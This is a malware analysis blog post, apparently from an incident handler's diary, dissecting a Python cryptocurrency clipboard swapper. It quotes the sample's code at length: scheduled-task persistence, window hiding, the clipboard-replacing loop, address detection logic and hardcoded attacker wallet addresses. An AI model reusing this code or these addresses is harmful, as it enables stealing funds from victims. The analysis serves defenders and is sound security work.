Multi-Cryptocurrency Clipboard Swapper
Last week, I was in Amsterdam to attend the FIRST TC 2022 where I talked about Python used for malicious purposes in the Windows ecosystem[1]. Amongst multiple examples, I mentioned a sample of Python code that tries to steal cryptocurrencies. It’s not the first time that I found a piece of code that monitors the clipboard and swap the BTC address found with the attacker's one. This time, the script that I found supports a lot of cryptocurrencies!
The file has a very low VT score (3/57)[2] (SHA256: 90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c).
First finding, the script implements persistence via the creation of a scheduled task:
def create_schtask(dir, file):
try:
call(f'schtasks /create /sc MINUTE /mo 1 /tn "System" /k /F /tr "{dir}\\{file}"', shell=True)
except:
pass
Python scripts on Windows can interact with the GUI (though the win32gui library). The script hides its window:
frgrnd_wndw = win32gui.GetForegroundWindow();
wndw_title = win32gui.GetWindowText(frgrnd_wndw);
if wndw_title.endswith("host.exe"):
win32gui.ShowWindow(frgrnd_wndw, win32con.SW_HIDE);
Now, let’s focus on the core feature, the interaction with the clipboard:
while True:
network = Network()
try:
OpenClipboard()
data: str = str(GetClipboardData())
CloseClipboard()
except:
data = ''
detected_network = get_detect_network(data)
if detected_network == None:
pass
else:
new_address = network.get_random_address(detected_network)
if data in network.addresses[detected_network]:
pass
else:
OpenClipboard()
EmptyClipboard()
SetClipboardText(new_address)
CloseClipboard()
sleep(0.33)
The clipboard content is read (into the variable “data”). This variable passed to get_detect_network() to verify the presence of a cryptocurrency address:
def get_detect_network(data: str) -> str or None:
if (data.startswith('1') or data.startswith('bc1')):
detected_network = 'bitcoin'
elif data.startswith('0x'):
detected_network = 'erc20_and_bep20'
elif len(data) == 44:
detected_network = 'solana'
elif (len(data) == 34) and (data.startswith('T')):
detected_network = 'tron'
elif data.startswith('bnb1'):
detected_network = 'bep2'
elif len(data) == 43 and data.startswith('ltc1') or \
len(data) == 34 and (data.startswith('M') or data.startswith('L')):
detected_network = 'litecoin'
elif data.startswith('r'):
detected_network = 'xrp'
elif data.startswith('q'):
detected_network = 'bitcoin_cash'
elif len(data) >= 64:
detected_network = 'near'
elif data.startswith('X'):
detected_network = 'dash'
elif data.startswith('t'):
detected_network = 'zcash'
elif data.startswith('D'):
detected_network = 'dogecoin'
elif data.startswith('terra'):
detected_network = 'terra'
elif data.startswith('cosmos'):
detected_network = 'cosmos'
else:
detected_network = None
return detected_network
As you can see, many currencies are supported but the detection mechanism does not look very powerful and is prone to many false positives! The script looks like a proof-of-concept for me...
The script had many addresses hardcoded, with multiple values per network:
addresses = {
'bitcoin': ['bc1q4skmuprct25drfzrujdev3g2y5a4zsqs0fvvm2',
'bc1qcv3h42gc032q5elgs8cynenqh57mymck4fncnk',
'bc1qhagmzt4a0lwdwjltmu2ur0v42veeks29j77hm4'],
'solana': ['AZEBYz4bki8CJ9ANj5y8Hnmzvzpdi9Kfg3a27GZyQ9Fx',
'HFBTid2mkUoMnbYWfF2ceQCnbBvM62VRUQsXDk8DcLGp',
'8NfYSJHVjpv3XDSAWNLbMknjGQw5X3JsECPE7B6kzBnu'],
'tron': ['TBVwvr6gqxJNwp91FVcsVJyaePCGY6mDMG',
'TKcHEi5dfkAZ7L6zfGreMSmb2MKYyAuDTu',
'TDXdHSfUHevtzVdWB7K6uhoSY7ynxX38jw'],
'erc20_and_bep20': ['0xEBBc57A99ba16b52d69e11e6E07052ABA3Ff90a0',
'0x0E0D59F69D136F05B1065a7d0f11616bD1e47CE9',
'0x534F85b57001aa69A1cFC8831A5EdCd3F485d704'],
'bep2': ['bnb1ydfyhhsyksz4quvltds8qsdxdqfkpwjyd9a23w',
'bnb1mfcxcgxgla2qmsfrwsg5jtdmf8r4ytjm6y5ty0',
'bnb1cqqggjtwmnqlx0txnvywuugw6trwcs7y90hlpz'],
'litecoin': ['ltc1qh0clxt5t3ydmdpteyc83s77p8yv4d6f245uc57',
'ltc1q8rp6c0v577uwfkxv7trmja5zw9rtgsaljxxwwd',
'ltc1q6udncrt9shyllpr2m23878gpyarvp35ap23sp6'],
'xrp': ['rDhqftgvEaGVYvCeGE6DNipja9DHZpKz1',
'r4jogJ97bYAABoGosPTjzUUP2rAGcA4sKQ',
'rhYeMmXJacRdHSHLRKgQ5vq6NEoaz381vH'],
'bitcoin_cash': ['qqzc2wqrxfj4vn8cpuqzvefl3lrfhw9yqs9lndnpku',
'qrsyq9k28yq2py3slez8gjr322zlv4vhqv2g6emnq9',
'qrwpfk2vamxs2qwasv4n56pjvcc78zernypzyahf4u'],
'near': ['04fbb5a231c9791f4868da4973f2f1ed0f358a4c99727534a961a0a80581a055',
'a69ef150c95822112e30a792c10a51e01606e32f65fd8fb083d49ff7afc9c4d9',
'43cd191cd0f3c8ffbb070a60aa3937c5f7218b09108951c0a24ae94ae9a7665d'],
'dash': ['XwxkG8sQhqK7idZyrPp5zu5wdTii9vF9vT',
'XfQaYpipiLRDEn1Gy4YAvHQ7Gm1EBNhiZw',
'XjPpu9WZs9F1EfyYsZDLPyhX9g2BacTfeh'],
'zcash': ['t1PuPdnnJmzqgctQVcdqkmqPCaR5Gsccegk',
't1gJ8Zc5rWiW7gGbFP7KVEGDZFyrT7JP9u7',
't1N9RNGiKj2TCWgip5uXLWefY1kKLLgimaR'],
'dogecoin': ['D93zyaMn37Eq9RvUeaN8tKaUC1ocLNvncn',
'DThAv5fRB3t3foES6jLLZrqdoQkDc6vuZJ',
'DHbrcfpN3v6RZQ4wCTrPoxnMNQj1CG9k51'],
'terra': ['terra1sgn3gkdesfx57sq04dpngh4yvncahdxk6ljz02',
'terra1psvawthe0g0495gfmk046rdswvat5pnr264l02',
'terra1jwtkp94w3tt46hxcdfhgjm9awk58qhkehsnqg6'],
'cosmos': ['cosmos1pf05klhcy9e540t6y9as25qxn85l2azzkw7mcg',
'cosmos1ggapvcwtcfx6082a0th2adc8umc0h8zf3kz22n',
'cosmos1j4d2gppgyf7sutwyzkm6tjy679lc7aaxakp2c9'],
}
Be careful when copying/pasting cryptocurrency addresses (or any sensitive data). By default, many desktop virtualization solutions enable clipboard sharing by default and are able to access the host clipboard.
[1] https://www.linkedin.com/pulse/first-tc-amsterdam-2022-jeff-bollinger/https://www.linkedin.com/pulse/first-tc-amsterdam-2022-jeff-bollinger/
[2] https://www.virustotal.com/gui/file/90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c/detection
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
| Reverse-Engineering Malware: Malware Analysis Tools and Techniques | London | Nov 3rd - Nov 8th 2025 |

Comments